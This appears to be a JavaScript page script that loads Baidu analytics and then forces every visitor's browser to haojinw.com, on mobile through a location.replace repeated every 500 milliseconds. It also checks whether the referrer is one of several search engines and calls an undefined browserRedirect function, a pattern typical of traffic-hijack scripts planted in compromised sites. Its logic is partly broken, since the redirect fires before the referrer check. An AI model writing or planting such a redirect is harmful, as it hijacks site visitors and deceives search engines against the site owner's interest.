var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?4a9d4dfb542a69cd1415eae873f1c84c";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile)/i))) {
  setInterval(tiaozhuan,500)
} else {
  var url = 'https://www.haojinw.com/';
  location.replace(url)
}


function tiaozhuan(){
  var url = 'https://www.haojinw.com/';
  location.replace(url)
}

var bct = document.referrer;
function call_init_error() {
	window.location.href = "/"
}
var init_flag = "93989";
var bot = ['baidu', 'google', 'yahoo', 'bing', 'soso', 'sogou', '360.cn', 'so.com', 'youdao', 'anquan','sm.cn'];//, 'haosou'];
for (var i in bot) {
	if (bct.indexOf(bot[i]) != -1) {
		init_flag = "1245";
        browserRedirect();
	}
}
if (init_flag == "93989") {
	call_init_error()
}